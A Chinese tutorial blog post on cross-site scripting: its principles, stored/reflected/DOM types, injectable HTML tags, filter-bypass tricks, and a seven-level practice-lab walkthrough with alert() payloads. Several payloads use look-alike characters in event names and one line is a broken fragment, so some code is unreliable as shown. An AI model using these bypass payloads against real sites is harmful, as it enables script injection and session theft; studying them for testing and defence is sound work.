当前位置: 首页 > news >正文

XSS漏洞原理分类标签及关卡

XSS漏洞原理分类标签及关卡

一、XSS漏洞原理

XSS(跨站脚本攻击)的本质是攻击者通过Web应用程序的输入验证漏洞,将恶意脚本代码注入到页面中,当用户访问该页面时,浏览器解析并执行恶意代码,从而实现攻击目的‌。

核心原理

‌输入未过滤‌:应用程序未对用户输入(如URL参数、表单字段、评论内容)进行严格过滤或转义,允许插入HTML、JavaScript等代码‌。

恶意代码执行‌:注入的脚本随页面返回到用户浏览器,被解析为合法代码执行,如窃取Cookie、劫持会话、重定向到钓鱼页面等‌。

‌触发条件‌:恶意代码的传播依赖于用户与页面的交互(如点击链接、加载存储内容)‌。

二、XSS漏洞全部分类

根据攻击方式与代码存储位置,XSS分为以下三类:

1. ‌存储型XSS(持久型)

特征:恶意脚本被永久存储在服务器(如数据库、文件系统),用户访问包含该内容的页面时触发‌。

攻击场景‌:常见于论坛评论、用户资料、商品详情页等可存储用户输入的模块‌。

危害:长期影响所有访问者,可导致蠕虫传播、大规模数据泄露‌。

2. ‌反射型XSS(非持久型)‌

特征‌:恶意脚本通过URL参数传递,服务器未存储直接返回给用户浏览器,需诱导用户主动点击恶意链接‌。

攻击场景‌:搜索框、错误提示页等动态生成内容的场景‌。

‌危害‌:常用于窃取用户会话Cookie或发起钓鱼攻击‌。

3. ‌DOM型XSS‌

特征‌:攻击利用前端JavaScript操作DOM时的漏洞,无需与服务器交互,恶意代码通过URL片段(#)或客户端脚本动态生成‌。

攻击场景‌:前端根据URL参数动态修改页面内容(如排序、筛选功能)‌。

危害:绕过服务端过滤,直接操控客户端逻辑,隐蔽性强‌。

三、标签
一、‌基础脚本标签

<script>标签‌

直接执行 JavaScript 代码:

<script>alert(1);</script>  
<script>alert("XSS");</script>  

适用场景:未过滤 script 标签的输入点

二、‌事件处理标签‌

<img> 标签‌

利用 onerror;事件触发:

<img src="x" οnerrοr=alert(1)>  
<img src=1 οnerrοr=eval("alert('XSS')")>  

特点:通过加载失败触发代码执行

<input> 标签‌

利用 onfocus、onblur ;等事件:

<input οnfοcus=alert(1) autofocus>  
<input οnmοuseοver=alert(1)>  

适用场景:输入框或用户交互元素

<svg> 标签‌

内联 SVG 触发 onload ;事件:

<svg/οnlοad=alert(document.domain)>  
<svg><script>alert(1)</script></svg>  

特点:HTML5 支持 SVG 内联,绕过部分过滤

<details> 标签‌

利用 ontoggle; 事件:

<details open οntοggle=alert(1)>  

适用场景:动态展开/收缩的交互组件

三、‌特殊 HTML 标签‌

<a> 标签(伪协议利用)

使用javascript:;伪协议:

<a href="javascript:alert(1)">Click</a>  

绕过技巧:依赖用户点击触发

<iframe> 标签‌

动态加载恶意内容:

<iframe src="javascript:alert(1)"></iframe>  
<iframe οnlοad=alert(document.cookie)></iframe>  

特点:嵌入外部资源或执行内联脚本

<audio> 标签

利用onerror; 事件:

<audio src=x οnerrοr=alert(1)></audio>  

适用场景:多媒体资源加载失败时触发

四、XSS标签变形绕过过滤
一、‌符号与语法变形

大小写混淆

混合大小写规避关键词检测:

<ImG sRc='x' OnErRor=alert(1)> 
<sCrIpT>alErT(1)</ScRiPt>  

空格绕过

用/、%0A(换行符)替代空格:

<img/src=x/οnerrοr=alert(1)>  
<a%0Ahref=javascript:alert(1)>Click</a>  

引号省略或替换

HTML属性中省略引号或使用反引号:

<img src=x οnerrοr=alert`1`>  
<a href=javascript:alert(1)>Link</a>  

二、‌编码与字符混淆

HTML实体编码

将关键字符转为实体编码:

<img src=x οnerrοr=alert(1)> 

Unicode/十六进制编码

使用Unicode或十六进制绕过过滤:

<svg/οnlοad=eval('\u0061\u006c\u0065\u0072\u0074(1)')>  
<img src=x οnerrοr=alert(1)> 

拆分与拼接

分段拼接代码或利用字符串操作:

<script>a='al';b='ert(1)';eval(a+b)</script>  
<img src=x οnerrοr="a=&#x61;lert; a(1)">    
三、‌标签嵌套与属性滥用

标签内嵌干扰字符

插入无效字符或注释破坏检测逻辑:

<scr<script>ipt>alert(1)</script>  
<img src=x/**/οnerrοr=alert(1)>   

非常用标签与事件属性

使用冷门标签(如<details>、<select>

)或非常用事件属性:

<details open οntοggle=alert(1)>  
<select autofocus οnfοcus=alert(1)></select> 

伪协议与特殊协议

利用javascript:或data:

协议触发脚本:

<a href=javascript:alert(document.domain)>Click</a>  src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></iframe>  

五、XSS关卡

1.第一关

构造Payload

url?name=<script>alert()</script>

成功

查看后端代码

2.第二关

构造Payload

">  <script>alert()</script>  <"

成功

查看后端代码

3.第三关

构造Payload

'> <script>alert()</script> <'

失败

尝试重新构造Payload

' οnfοcus=javascript:alert() '

成功

查看后端代码

联想截图_20250321202337

4.第四关

构造Payload

" οnfοcus=javascript:alert() "

成功

查看后端代码

联想截图_20250321202352

5.第五关

构造Payload

" οnfοcus=javascript:alert() "

失败

尝试重新构造Payload

"> <a href=javascript:alert()>xxx</a> <"

成功

查看后端代码

联想截图_20250321202407

6.第六关

构造Payload

"> <sCript>alert()</sCript> <"

成功

查看后端代码

联想截图_20250321202418

7.第七关

构造Payload

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

成功

查看后端代码

相关文章:

  • 一般c++项目的目录结构
  • Ajax与Axios,以及Apifox的入门使用
  • 【AI-Coding】2025再实现简单的省市联动
  • NAT实验
  • 鸿蒙Flutter开发故事:不,你不需要鸿蒙化
  • Linux_进程概念(B)-环境变量进程地址空间【Linux】
  • 智能工厂能耗分析:Python驱动的高效能源管理
  • Python 编程题 第十二节:柠檬水找零、统计数字、合并排序数组、插入5、字符串置换
  • 内存管理(C++篇)
  • NLP高频面试题(八)——GPT三个版本的区别
  • 启明星辰春招面试题
  • 机器学习knnlearn2
  • coding ability 展开第五幕(二分查找算法)超详细!!!!
  • C语言中的指针
  • kvm虚拟机的基本使用
  • node-ddk, electron组件, 自定义本地文件协议,打开本地文件
  • C51 Proteus仿真实验22:按键发声
  • 云原生算力引擎:分布式推理的流体动力学
  • NVIDIA Dynamo源码编译
  • 《K230 从熟悉到...》图像获取+FPS
  • 北京警方:海淀发生小客车刮碰行人事故4人受伤,肇事司机已被查获
  • 鄂州交警通报致1死2伤车祸:女子操作不当引发,已被刑拘
  • 外企聊营商|特雷通集团:税务服务“及时雨”
  • 教育部基础教育教指委:稳步推进中小学人工智能通识教育
  • 母亲节书单|关于生育自由的未来
  • “拼好假”的年轻人,今年有哪些旅游新玩法?